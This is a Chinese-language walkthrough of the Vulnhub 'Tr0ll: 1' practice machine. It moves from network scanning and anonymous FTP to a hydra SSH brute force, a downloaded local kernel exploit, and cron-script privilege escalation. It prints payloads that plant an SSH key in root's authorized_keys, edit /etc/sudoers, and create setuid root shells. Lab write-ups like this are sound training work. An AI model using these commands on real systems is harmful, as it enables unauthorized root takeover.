Vulnhub-靶机-Tr0ll: 1
本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机下载之后使用仅主机模式加载到本地VMware Workstation工作站,需要发现目标靶机的IP地址,可以使用nmap,netdiscover,或者arp之类的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 当然也是可以使用Windows环境下mac地址扫描工具都是可以的,那么本次演示就是arp-scan工具发现
地址:https://www.vulnhub.com/entry/tr0ll-1,100/
发现目标靶机IP地址是192.168.5.142,开始使用nmap对其进行扫描
通过-p-参数直接全端口扫描,发现扫描不出来,具体如下
nmap -p- -sC -sV -n 192.168.5.142
根据扫描的结果,发现开放的ftp端口是可以匿名登陆,并且有一个数据包文件lol.pcap ,于是直接使用匿名登陆下载该文件到本地,然后使用wireshark进行分析查看
发现有个文件,根据这个数据包查看文件的内容,如下:
如下内容:
Well, well, well, aren't you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P\n \n Sucks, you were so close... gotta TRY HARDER!\n
sup3rs3cr3tdirlol
根据这个文件去尝试了ssh登陆,web访问,最终得出可以直接通过web访问,确认此文件名是个web目录
直接访问 http://192.168.5.142/sup3rs3cr3tdirlol/
使用wget将文件roflmao下载到本机然后使用file命令确认文件类型
确认是个可执行文件,那么使用strings命令查看是否存隐藏内容
访问发现两个目录
分别对这两个目录进行访问,得到good_luck这个目录下面可能是用户名,另一个文件夹的名称可能就是密码
那么就使用九头蛇hydra进行暴力破解看看
hydra -L which_one_lol.txt -p Pass.txt 192.168.5.142 ssh
破解出来之后等一会,这个靶机每过一会会连接不上22端口,然后多次尝试连接ssh,登陆成功
查看目标靶机的Linux版本,去Google上搜索了下,是存在本地提权漏洞
将37292.c提权文件下载到目标靶机
wget http://192.168.5.130:6688/37292.c
gcc 37292.c -o bmfx
将其编译完成之后,确认其存在可执行权限直接进行提权
成功获取proof.txt
===========================================================================================================================================================================================================
因为有一个现象就是没2分钟左右的时间会断开一次,那么看看计划任务发现一个全局可以编辑的文件,这个文件就是提权的突破口,通过cat /var/log/cronlog 查看计划任务执行的文件名,然后全局搜索这个文件名即可,具体看如下提权操作:
find / -type d -writable 2> /dev/null | grep -v /proc
find / -executable -type f 2> /dev/null | egrep -v "^/bin|^/var|^/etc|^/usr" | xargs ls -lh | grep Aug 具体看如
另一种提权方式直接写公钥到目标靶机的root家目录下进行提权,本次靶机能操作是因为有一个文件是使用root权限执行而且全局用户都可以编辑操作,本次编辑写入文件的时候,大家最好在本地编辑好,然后使用vi编辑器打开直接粘贴进去,使用wq!强制保存即可
下面是已经写入的文件
下面就是建立公钥和私钥的最终脚本,待计划任务执行之后,就是等2分钟就可以直接连接目标靶机root账户了
#!/usr/bin/env python import os import sys try: os.system('mkdir /root/.ssh; chmod 775 .ssh; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDfjdrW5okibmnT9c3hsAoSZPJ0XcCN92f998ZkCcWehEHXTmpkGJE7qedYSbr78pQITNnIXpVEJXlKYaTQUf68JUKCiBWwLQes3SfHN6SoRe4hiC4LtgtXiUmRIYYY//PXEdgbH7dFvX67fA8p/6Mz/R6ITS4OvHDQCLNwV8wmu46pS4xEq9/Rsp3nc6OjHVWAvnwnBmNTjUWEGuKH5Vvqw5yM0/PV5SeeyaB0R5jm4M7YL1/h8RRVvInt5M20/FaR5wWL4pEeGXsqKPjZUtdCfgPkZwF/4Oi6aOYSKGVmQrnbsetG5F2//IuUTBEkgQp4HevL1hNw3iAH+PNh/iHlVhafeYw9rZ/G9G97vGCsTy7UVYRk55nJQuHTRhZOkt8jAqfBgjLwP/Gn6wXIGWFmSLaKO//jJuSYYVXGIu9vjTGSLEUQtSQKrf+vL94jtGDRYArDnqFvJopj3HJK39B8O2PhVhQ0bh+YbQNWPoHsc5O7UH/6LcREUnppzSKf2yE= kali@kali" >> /root/.ssh/authorized_keys') except: sys.exit()
其他另类提权手法代码
#!/usr/bin/env python import os import sys try: os.system('echo "overflow ALL=(ALL:ALL) ALL" >> /etc/sudoers') except: sys.exit() ---------------------------------------------------------------------------- #!/usr/bin/env python import os import sys try: os.system('chown root:root /tmp/getroot; chmod 4755 /tmp/getroot') except: sys.exit() 下面是先新建这个文件,然后编译为getroot文件,上面就可以使用了 vim getroot.c int main(void) { setgid(0); setuid(0); system("/bin/bash"); } ----------------------------------------------------------------------------- #!/usr/bin/env python import os import sys try: os.system('cp /bin/bash /tmp/bash') os.system('chmod 4777 /tmp/bash') except: sys.exit() 这里执行bash -p即可提权,如果是写成/bin/sh那么直接执行就可获取root权限